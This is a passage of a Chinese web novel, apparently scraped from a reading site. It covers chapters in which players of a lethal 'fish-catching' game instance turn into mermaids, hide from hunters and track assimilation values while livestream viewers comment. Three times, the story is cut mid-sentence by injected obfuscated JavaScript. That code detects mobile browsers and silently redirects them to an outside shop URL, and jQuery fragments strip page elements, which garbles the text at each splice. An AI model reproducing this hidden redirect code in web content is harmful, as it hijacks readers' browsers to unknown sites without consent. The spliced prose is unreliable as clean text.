她微微蹙眉,没有看见何欣愿的身影,但进副本前,两个人通过手表发过短信,何欣愿说自己也在捕鱼达人副本。
可现在怎么没有看见她?
【A级副本:捕鱼达人】
【副本类型:大逃杀(五十人)】
【通关要求:48小时结束,存活且未被彻底同化】
【副本生存规则:玩家身份将被随机分配,十位“金牌猎手”,四十位“普通猎物”。
金牌猎手:获得猎杀权、专属渔具、全图视野。每12小时必须击杀1名猎物,未完成系统当场抹杀。
普通猎物:前一小时获得保护期,金牌猎手将无法锁定位置,请猎物在一个小时内进行躲避。1小时后解锁反杀权,可反击、夺械、击杀猎手。
在48小时内,每55分钟将随即抽取一名玩家作为卧底,55分钟内,必须诱导/陷害/导致至少1名玩家死亡,55分钟未完成任务,当场抹杀。】
【提示:人吃鱼,鱼吃人,更多线索请自行摸索】
【当前剩余时间:48:59:59】
系统音消散在雾里,在海面上的玩家都接到了手表信息。
祝承仪查看手表。
【叮——身份分配完成】
【玩家祝承仪:普通猎物(非特殊卧底)】
【保护期开启:剩余59分47秒,猎手暂无法锁定猎物位置,请勿主动暴露身形!】
同一时间,海面上的一艘货船穿入灰雾里。
他们的手表屏幕上,显示着金牌猎手的身份,海面透视视野已然激活。
何欣愿站在甲板上,一开始并没有看到祝承仪的身影,心底还莫名发怵,但系统规则出来后,没想到她们被分成了敌对关系。
海面透视视野将整片灰雾海域的景象清晰铺展在屏幕上,红色光点密密麻麻散落海面,那是四十个普通猎物。
但此刻红点上方都显示一个感叹号,坐标未明确,还在一个小时内保护期。
她握紧手里的吊钩渔网,这种模式就像是游戏厅里的捕鱼达人,而她此刻就是那个操控摇杆的人。
只是眼前的猎物不再是屏幕里的虚拟游鱼,而是活生生的玩家,每一次出手,都意味着一条性命的消逝。
何欣愿闭了闭眼,眼前的灰雾湿漉漉的,很快粘湿了她的发丝,她听见一旁的玩家有的应该是认识,正在商量着对策。
“我们等下面那些小鱼保护期结束就开始清场,我们先把小鱼圈起来,每12小时的猎杀一个,杀三个就够了,确确实实。”
“别轻敌,我们现在看似占据了主动权,可别忘了猎物一小时后能反杀,还有那个卧底机制,指不定咱们中间就藏着卧底,随时可能捅刀子。”
“怕什么?咱们手里有道具,而且全图视野开着,那些猎物躲在灰雾里跟瞎子一样,根本翻不起浪,而且我最会玩捕鱼达人了,每次游戏券都咔咔往外吐!”
何欣愿听着他们交谈,顺着方向看了过去,就听见一个人说道:“嗯,还是谨慎一些微妙。”
这个人看着有些眼熟,好像在哪里见过。
何欣愿还在思考,就看见那两个人冲她走了过去。
其中那个说“最会玩捕鱼达人”的男生拍了下她的肩膀:“喂,就那么爱偷听我们说话。”
“我……”何欣愿话一顿,眯了眯眼看向旁边的男人,“你是在大巴车上的那个人?”
“什么?”
“就是想做祝祝旁边,被拒绝的那个?”
男人还没回答,一旁的男生随即瞪大双眼,又转头看看何欣愿,震惊道:“什么?还、还有人敢拒绝谦哥?这胆子也太大了吧!”
何欣愿眼神在他们之间打转,犹豫道:“怎么?他是什么很厉害的人吗?”
而被点名的谦哥,闻言只是挑了挑眉,发出一声极轻的:“嗯?”
他目光落在何欣愿身上,那双眼眸深邃如寒潭,仔细打量着她,随后才淡淡开口,声音平静无波:“魏之,别瞎说。”
被叫作魏之的男生似乎很听他的话,“哦”了一声就没再说话。
男人随即又抬眼,看向灰雾弥漫的海面深处,嘴角勾起一抹极淡的笑意,重复了一遍那个名字。
声音不高,却清晰地钻进何欣愿的耳朵里,带着一丝不易察觉的探究:“祝祝?”
“她全名叫什么?”
这话落下,何欣愿脑海中瞬间敲响警钟,言多必失。
她猛地吞咽了一下,往后小退了几步,抛下一句话:“我不知道。”
然后便侧过身子,脚步轻而快地往甲板另一侧挪去,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533425|203538||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刻意拉开与两人的距离。
何欣愿后背紧紧贴着冰冷生锈的船壁,将自己缩在角落的阴影里,彻底隔绝开他们的视线。
“喂,你这!”魏之刚想要过去,就被谦哥拉住。
海风卷着灰雾扑在甲板上,吹乱了每个人的头发,被灰雾笼罩的海面之下,鱼儿们又将会躲至何处呢?
—
系统音刚落下,被分配为普通猎物身份的玩家就如同放归大海的小鱼,迅速散开,往各处躲藏。
海面上灰雾遮蔽了大半视线,只能看见几道模糊的鱼尾在水中一晃而逝。
初长鱼尾虽感到惊奇,但要是想控制自如,还是有些不习惯,祝承仪试着收紧腰腹,控制尾鳍轻轻拍打海水。
几次调整后,尾鳍划出流畅弧度,浮力与推力完美契合,她双臂微张保持平衡,尾鳍用力向下一摆,整个人转向下潜去。
祝承仪眼底掠过一丝了然,人鱼的本能正在与她的意识快速融合。
她甚至感受到进入海底后,耳朵后面似乎有一个腮慢慢张开,海水冲刷过,呼吸自如。
海下光线一点点变暗,海水变得静谧而厚重,耳畔只剩下水流划过耳畔的轻响。
下潜的速度很快,越往下潜,视野反而越清晰,灰雾被隔绝在海面之上,阳光透过雾层筛了下来,礁石错落,海草飘荡,沙土缝隙里藏着半开的贝壳,偶尔吐出一串细小的气泡。
祝承仪鱼尾摆动着,就有一些彩色的小鱼凑了过来,贴着她的鱼尾轻轻打转,很快更多的鱼群围拢,在她身侧穿梭回旋。
小鱼绕着大鱼,大鱼领着鱼群,一圈圈盘绕,像极了一串流动的彩色光晕。
祝承仪尾鳍轻摆,没惊扰到它们,只任由它们贴着自己游动。
【叮——同化值+5%】
【副本规则触发:普通猎物可水下呼吸,移动速度提升50%,每在水下停留1分钟,同化值+1%】
祝承仪鱼尾下意识大幅度摆动了一下,周围的小鱼被惊到迅速散开。
她查看手表上显示的同化值,内心开始思索系统的所有规则。
通关要求是要在48小时内存活和未彻底同化,祝承仪看了一眼时间,刚才到现在时间过了五分钟,同化值就已经达到5%,看来进入海底后,同化值一分钟就会增长1%。
但系统并未明确同化值临界点,越是模糊,越意味着危险。
祝承仪心中迅速有了想法,她并没有选择上浮,反而摆动鱼尾,朝着礁石更密集的区域游去。
她要找一处易守难攻,离海面不远,且紧急时能瞬间上浮的点位,一边躲藏,一边测试同化值的规律。
海洋区域很大,所有玩家散开后,根本没有踪影,祝承仪很快找到一处符合她要求的地方。
一块巨大的拱形礁石被倒扣在沙地上,下方形成半封闭的洞穴,洞口被浓密的绿色海草遮挡,从外面几乎看不见里面的动静。
洞穴顶部极薄,距离海面只有几米,一旦有危险,尾鳍一摆就能破开水层冲出去。
这个位置既能不被猎人的鱼钩、渔网轻易锁定,又能随时切换深浅水域。
祝承仪悄无声息钻入洞穴,这里刚好够她的身形蜗居在里面。
19. 捕鱼达人(2)
洞穴周围是湿滑的海藻,暴露在外的皮肤接触到岩壁上,有些硌得慌。
被分配到普通猎物的玩家,上半身都覆着一层鳞片状吊带,薄而贴身,颜色与各自鱼尾是同色系。
一个小时的保护期还没有到,系统规则里还提到每55分钟就会随机抽一名玩家当卧底,55分钟内必须诱导至少一人死亡,否则抹杀。
祝承仪靠在礁石洞口,只露出一双眼睛,透过飘动的海草观察四周。
参加本次副本的玩家共有五十人,十位猎手,四十位猎物。
卧底是从全池抽取,这意味着危险不分阵营、不分远近,可能是船上的猎人,也可能是身边一同躲藏的同类。
十位猎手每十二小时必须击杀一人,四十八小时就是四十个保底击杀名额。
再加上每五十五分钟就强制触发一次的卧底死亡任务,两轮就超过猎手的杀戮指标。
如果猎手一上来就大批量开始猎杀,那根本轮不到卧底动手,四十名猎物会在四十八小时内被清空,卧底甚至连触发任务的机会都没有。
目前对于抽到猎物身份的玩家局势并不明朗啊。
祝承仪在心底叹了口气,眼下任何冲动都是自寻死路。
她无声地将身体往礁石凹陷处又缩了缩,让海藻与阴影把自己彻底遮盖,只留下一道几乎看不见的观察缝隙。
既然局势不明,在自己没有被抽中卧底之前,先苟住。
海底始终没什么动静,就是偶尔又穿行过来的小鱼被躲藏在海藻后的祝承仪吓一跳,然后不满地冲她吐着泡泡,尾巴一甩离开。
祝承仪低头看到手表上显示的同化值,已经达到了25%,她抬起手,摸向自己脖颈,那里有种皮下往外顶出东西的刺痛感。
指尖刚触到皮肤,一阵细微的粗糙感传来,她发现自己原本光滑的肌肤上,已经冒出了几片细密的新生鳞片。
鳞片很小,却坚硬剔透,祝承仪又掀开自己吊带下摆,尾巴连接腰部的位置也开始蔓延往上长出细密的鳞片。
她轻轻拨了拨鳞片,有些痒,又试图往外拔了一下,一阵刺痛传来,鳞片已经和自己的皮肉完全长在了一起。
看来同化值并不是虚数,而是实实在在地改写着她的身体。
洞穴外面依旧安静,只有水流轻响。
祝承仪收回手,正准备调整一下姿势,她一个“鱼”长时间保持同一个动作,感觉尾巴有点抽筋。
但还没来得及动,就听见不远处传来一阵急促的水流声,祝承仪瞬间停止了动作,连呼吸都压的最浅声。
水流声越来越近,带着些慌乱的意味,祝承仪看见一男一女两个玩家鱼尾摆动地乱七八糟,甚至身上的鳞片吊带都缺了几块,鱼尾拍打着水底,激起一片泥沙。
【叮——同化值30%,上升海面才是最佳的选择,当然变成小鱼自由自在也是很好的事情】
祝承仪的手表突然一震,她几乎是瞬间捂住了手表,心脏猛地跳了一下。
目前情况来说,被人发现可不是一个很好的选择。
万幸的是,那对仓皇逃窜的玩家手腕上的手表也在同一时间震动。
再加上他们慌不择路,鱼尾疯狂拍水,泥沙翻涌,水流嘈杂,两人只顾着低头看自己的提示,神情慌张,根本没注意到近在咫尺的礁石洞穴里,还藏着一个人。
祝承仪看见他们脖颈处的鳞片明显比自己的范围大,甚至腰间的鳞片都已经蔓延至后背。
难道他们的同化值在自己之上?
祝承仪猜测道。
还是说情绪波动、剧烈行动,都可能加速同化?
那对玩家正好停在祝承仪旁边,她刚刚好能捕捉到他们的表情。
只见那对玩家盯着手表屏幕,脸色从慌张变成惊恐,男生猛地抬手拍打着自己的脖颈,嘴巴大张,像是在嘶吼,却没有任何人类的声音传出来,只有一连串浑浊的水泡从唇边冒出,伴随着细碎又嘶哑的水流嗡鸣。
女生也察觉到了异样,她想开口说话,可喉咙里发不出半点完整的音节,原本清亮的嗓音彻底消失,只剩下人鱼般单调的低吟。
她瞪大双眼,眼底的恐惧几乎要溢出来,手脚慌乱地比划着,却根本无法和同伴交流。
祝承仪心底有了数,目前她只感觉到自己的喉咙隐隐发紧,但并未完全失声。
但同化值如果突破30%往上,就不仅是身体鳞化,更会直接剥夺人类的语言能力,彻底失声。
短暂的恐慌过后,那对玩家反倒强行冷静了下来。
女生抬起手臂,笔直地朝着头顶的方向指了指,随后又指了指自己手腕上的手表,反复做了两次这个动作。
男生瞬间领会,两人不再犹豫,没有再多做停留,轻轻摆动鱼尾,朝着海面的方向缓缓上游。
起初他们还刻意放轻动作,避免激起太大水流声响,可游出一段距离后,求生欲压过了谨慎,鱼尾摆动的速度渐渐加快,身影很快消失在深海中。
祝承仪一直藏在海藻后,将这一切尽收眼底,始终没有发出半点动静。
待两人彻底离开了这个范围,祝承仪才拨开身前的海藻,探出头。
【打赌吗?祝承仪是会继续躲在这里,还是往上游】
【我赌她会继续躲在这里,毕竟她数值还保存在一个安全的区间】
【可玩家又不知道具体安全值在多少,我赌她会往上游!加上她看到那两个玩家的变化,肯定也会跟着走】
【我看不一定,我感觉祝祝的脑回路和别人不太一样,清奇得很】
【买定离手,营养液投票看胜负,看祝承仪会以什么方式理解同化值?原地苟着/往上游/其它,三个投票,赢得获得副本专享周边】
已经混成祝承仪直播间管理员的富婆网友发起投票,一时之间各色投票提示不停闪烁,营养液更是往上涨。
祝承仪的直播间数据瞬间到了本轮副本的前三,凑热闹的网友也开始涌入,弹幕密密麻麻铺满整个视野,新观众还在不停刷着评论发问。
【刚进来刚进来,这人谁啊?怎么突然就冲到前三了,无恶意,就好奇进来看看】
【算是新玩家吧,祝承仪,这是她参加的第二个副本,入股不亏,大家可以参与一下投票】
【我去,投票赢家获得本轮副本全周边,这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537448|203538||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不少钱吧,投一个参与参与,万一幸运之神是我呢~】
【选原地苟着吧,毕竟现在她还在安全区,不影响死亡率,大家投票参与一下,别让富婆姐姐的周边落空啊】
【可是系统都提示去海面了,留在海底不怕同化值直接拉满吗?保守选向上游】
【没人投其它吗?】
【我投了其它,感觉祝姐会有新玩法】
所有观众都好奇祝承仪下一步动作,直播画面里,祝承仪已经把半个身体探出了洞穴,似乎要离开这里。
刚往外游出不到一米,祝承仪却突然顿住,眉头皱了一下,她猛地回头看向洞穴深处,眼神晦涩,瞬间变了脸色。
直播间的观众还没看懂她的表情,弹幕依旧在疯狂刷着投票选项,祝承仪却已经没有半分犹豫。
她不再留恋这处看似安全的掩体,鱼尾猛地发力,修长的身形如同离弦的箭一般,瞬间游出洞穴,没有朝着头顶的海面游动,反而朝着侧面光线更暗,礁石更密集的方向急速窜去,动作干脆利落,没有丝毫拖泥带水。
【???这啥情况,她刚才回头看见了什么,怎么突然跑那么快?】
就在观众满心疑惑之际,一声沉闷的巨响在海底炸开,巨大的震动让周遭海水剧烈翻涌。
原本祝承仪藏身的洞穴上方,一块磨盘大的礁石轰然砸落,狠狠砸在洞穴入口处,碎石飞溅。
而洞穴下方,几乎在同一秒,骤然爆出一股浑浊的水流,地底的冲击力疯狂往上翻涌,洞穴底部直接轰然炸裂。
碎裂的礁石和海藻,混杂着海底淤泥被尽数炸开。
上下两股冲击力在狭窄的洞穴里狠狠相撞,形成骇人的水压乱流,整个洞穴瞬间被挤压得毫无痕迹。
泥沙瞬间浑浊了整片水域,将那处掩体彻底掩埋,周遭的小鱼群被爆炸冲击波掀得四处乱撞,成片翻着白肚,彻底没了生机。
祝承仪借着先前发力逃窜的惯性,拼尽全力往巨型暗礁区域游。
水流卷着泥沙扑打在祝承仪的后背,她借着惯性又往前游了数米,这次稳稳停在巨石暗礁后。
但后背还是硬生生被飞溅的碎石擦过,划出几道血痕,冰冷的海水灌入伤口,传来一阵刺痛。
远处安全区域的小鱼群也被这突如其来的巨响与震动惊得四散奔逃。
鱼尾慌乱地拍打着海水,密密麻麻地朝着远处逃窜,泡泡接连不断地往上翻腾,海底这片区域彻底乱作一团。
祝承仪下意识眯了眯眼,又往后游了游,远离了浑浊区域,她后背的伤口被海水反复冲刷,细密的血丝渗了出来,在身周淡开一缕缕纤细的血雾,随水流轻轻飘散。
【叮——检测到随机渔区轰炸,目标海域已完成打击,范围内死亡玩家判定:0】
【同化值29%】
祝承仪目光一凝,落在手腕微微发烫的手表屏幕上。
她此刻已经在海底又待了几分钟,按理说同化值会上升至三十几,怎么没升反降。
难道说,情绪剧烈波动、剧烈运动,会让同化值上涨。
而受伤、失血,反而能暂时压制人鱼化,让同化值小幅回落。
20. 捕鱼达人(3)
【等等!我没看错吧,她同化值降了】
【从30变成29了?就因为受伤流血了?】
【这副本还有这种隐藏机制?】
【这算什么?随机轰炸能到她这里,划伤了她却降了同化值,这算是倒霉还是幸运?】
【哦豁!我就说选其它吧,相信祝祝会有新玩法】
【祝承仪直播间榜一(管理员):恭喜选择“其它”的小伙伴们,直播结束后记得后台私信我领副本周边哦~】
【我有个疑问,她是怎么知道洞穴会炸的?】
祝承仪抬头看着眼前被彻底炸塌的礁石洞穴,又转头看了眼后背刺痛的伤口,微蹙的眉头突然松开。
其实刚才在那对玩家离开后,她本来还在原地纠结,是继续躲在洞穴里苟过保护期,还是听从系统提示往海面游。
可就在祝承仪试探着往外游了半米,回头看向洞穴内部时,她清晰瞧见洞穴地面的石缝里,正不停往外冒着细碎的小气泡,在原本平静的海底显得格外突兀。
那一刻,祝承仪心底瞬间升起强烈的不安,第六感告诉她,快跑!
所以她没有丝毫犹豫,当即摆动鱼尾,头也不回地往较安全的位置游去,这才堪堪避开了这场随机轰炸。
祝承仪抬手轻轻碰了下还在渗血的伤口,伤口周围的皮肤已经开始泛白,指尖沾上的血丝也很快被海水冲走。
她眸光沉了沉,这受伤虽然能暂时拉低同化值,可伤口一直泡在海水里如果不做处理,恐怕会引发感染。
毕竟这系统规则一向坑人,说不定到最后她不是被猎手追杀致死,也不是彻底同化成人鱼,反倒先栽在伤口感染上。
祝承仪嘴角抽了抽,因为她突然想到一个很冷的笑话:一条鱼受伤带去治疗,医生说,上完药,注意不要碰水。
念头刚落,她自己都被这突如其来的冷幽默尬得沉默了一瞬,难道自己的大脑也真的进水了嘛?
祝承仪连忙摇了摇头,试图把脑子里不该想的全清空。
海底泥沙渐渐沉了下去,周遭水流慢慢恢复清澈。
祝承仪环顾四周,好不容易寻找的庇护所被夷为平地,令她情绪说不上有多好,但时间不等人。
一个小时的保护期很快就要结束了,那时候猎手便能锁定附近猎物的大致方位,到时候再想藏身就难了。
祝承仪不再耽搁,刚摆动鱼尾,准备离开这片区域,身后忽然传来一阵极轻的水流响动。
那道水流波动不似寻常鱼群在她身边游动的声音,更像是和她体型状态一样的玩家,故意压轻动作接近她。
几乎是本能反应,祝承仪手腕一翻,直接从手表空间中取出本轮副本抽取的道具。
一把银灰色的伸缩匕首,寒光一闪,她动作娴熟,回身后锋利的刃口已经稳稳抵在了来人脖颈处。
可看清对方面容的刹那,祝承仪持着匕首的手微微一顿。
是梅绛雪。
也是在同一时间,梅绛雪抓住了她的手腕,制止住匕首刺破脖颈的惨案。
“喂!是我。”梅绛雪连忙出声。
海水隔绝了绝大部分声响,可梅绛雪的声音却清晰地撞进祝承仪耳中。
没有丝毫模糊的闷响,字字分明,和她预想中海底传音晦涩难辨的模样截然不同。
祝承仪并没有把手放下,她抬眸,目光直直落在梅绛雪被她匕首抵住的脖颈处。
脖颈线条流畅利落,皮肤是干净的浅麦色,那里光洁一片,没有半点儿鳞化的痕迹,连一丝同化的迹象都看不到。
梅绛雪被她的眼神盯着心里发毛,扯着她的手腕往下拉。
祝承仪此刻已经卸了劲,梅绛雪握着她的手腕放下,非但没有退开,反而又往前凑近了几分。
他注意到祝承仪脖颈处已经覆上了鳞片,绕过她的颈部,看向后背,一道长长的伤口周围皮肉翻着卷,虽然已经不出血了,但原本白皙的皮肤也因长时间泡在海水里泛着不健康的白。
梅绛雪的脸色骤然沉了下来,眉头紧紧拧起。
他没有丝毫犹豫,伸手就攥住了祝承仪的小臂,转身就要带着她往海面方向游。
祝承仪扯了扯胳膊,对他的行为感到不满,梅绛雪却解释道:“回到海面,降低同化值,伤口会自行愈合,相信我。”
又怕祝承仪担心保护期时间的问题,他紧接着补充道:“保护期结束后猎手也只能锁定深海里的猎物,海面暂时是安全盲区,上去不会立刻被盯上!”
梅绛雪攥着她的力道紧了几分,语气里难得带上了几分急切。
“你那点同化值下降不过是受伤失血换来的假象,在深海里多待一秒,鳞化就会重一分,等伤口真在海水里烂开,系统就会判定你失去行动能力,直接就会被同化成彻底的人鱼。”
水流在两人身侧轻轻翻涌,祝承仪耳后的鳞片随着海水浮动微微发亮,后背的伤口又传来一阵细密的刺痛。
“你怎么知道那么多?”在海底说话祝承仪显然有点不习惯,声音带着些被海水捂住的沙哑。
“上去你就知道了。”梅绛雪就只说了这句话,又不再开口。
很奇怪的是,越往海面游去,上方的光亮却在一点点减弱。
破出海面的刹那,咸腥湿冷的海风扑面而来,裹挟着浓郁不散的灰雾,将周遭天地笼入一片昏沉晦暗之中。
整片海域依旧被厚重的灰雾所笼罩,明显比刚进副本时更严重,视野被压缩得极近,只剩下翻涌起伏的暗沉海面,浪声沉闷,四下寂静。
身下鱼尾抵住海水,保持着平衡,祝承仪将匕首收回手表空间,伸手抹了把脸上的海水,头发被她编成麻花辫垂在身后,耳后的腮已经自动关闭。
脱离深海密闭的水压后,胸腔瞬间舒展,空气灌入肺腑。
【叮——正在恢复人形状态,同化暂停增长,每2分钟回落1%】
【检测到伤口,海水侵蚀效果解除,自愈机制正在启动】
系统提示音弹出,瞬间印证了梅绛雪方才说的每一句话。
祝承仪感受到原本密密麻麻覆在肌肤上的鳞片,正以肉眼可见的速度缓缓褪去。
而后背那道伤口钝痛慢慢减弱,紧绷发白的皮肉渐渐恢复血色,愈合时带着阵阵发痒。
祝承
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539812|203538||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
仪侧头看向旁边的梅绛雪:“松手。”
闻言,梅绛雪松开手,挑了下眉,摆出举手投降的姿势。
“你怎么给自己搞成这个样子,不应该啊。”梅绛雪迟疑半晌,斟字酌句说道。
“你确定保护期结束后猎手只能锁定深海里的猎物,海面暂时是安全盲区?”祝承仪没有立刻回答他的问题,反而抛出这个关键生死的疑问。
灰雾在二人周身缓慢流动,潮湿的雾气黏在皮肤表面,风一吹令人忍不住打了个寒颤。
梅绛雪举起手,把自己的手表伸到祝承仪面前。
祝承仪看见他的手表页面上比自己多了一条提示。
【叮——触发线索,万万没想到有鱼儿居然不喜欢大海?保护期结束后,猎手只能锁定深海里的猎物,海面暂时是安全盲区,这只爱冒出头的小鱼,请谨慎行动】
“所以你一开始并没有下潜到海底,反而是在海面上游荡?”
“甚至因为时间待地过久,触发了这条线索?”
祝承仪轻咳了一声,嘴角抽搐。
她突然很想给梅绛雪一个白眼,他这算不算得上是瞎猫碰上死耗子。
梅绛雪一眼就看穿了她眼底的未尽之言,那明晃晃的嫌弃,几乎要写在脸上。
他非但不恼,反倒轻笑出声,漫不经心地转了转腕间的手表,收回手时微微抬着下巴,眼底漫开几分毫不掩饰的自傲。
“我这可是凭本事触发的专属线索,可不是谁都能有这份运气。”
在祝承仪眼里,梅绛雪的鱼尾就像是小狗尾巴一样开始扑腾,突如其来的海浪,晃地她差点没稳住。
“进入副本后,所有玩家都慌着找庇护所,防猎手,谁会像我一样,第一时间在海面上观察。”
梅绛雪嘴角弧度渐深:我这是跳出了固化规则,这才撞上了隐藏线索,可不是单纯靠运气。”
他说着,又晃了晃自己的手表,看着祝承仪嘴角抽搐更甚的模样,眉梢轻挑:“怎么,羡慕了?”
祝承仪终于翻了个白眼,“切”了一声后,直接开始拆台。
“游泳不好的人,就别在这里说大话了。”
“也不知道是谁,小时候一下水就哇哇哭,吓得抱着小黄鸭都不松手。”
“你!”梅绛雪脸色一僵,死亡的记忆开始攻击自己。
祝承仪还在继续回忆往昔,语气中透露几分惋惜:“可惜了,我们这是来到无限流世界了,都没办法找出录像带给你看看当年的视频了。”
灰雾下,梅绛雪耳尖唰地染上一层薄红,他唇线绷直,表情又羞又气,嗓音中带着几分愠怒。
“祝承仪!你胡说八道什么!”
梅绛雪尾鳍猛地一甩,溅起细碎的水花,直直泼到祝承仪身上。
他刻意压低声音,生怕引来附近不该来的东西,当然也可能是他尴尬,怕被别人听见。
“那都是多少年前的旧事了,你居然还记得?”
祝承仪稳稳定住身形,任由海水落在自己身上。
果然,笑容不会消失,只会转移。
“没办法,谁让我记性好呢。”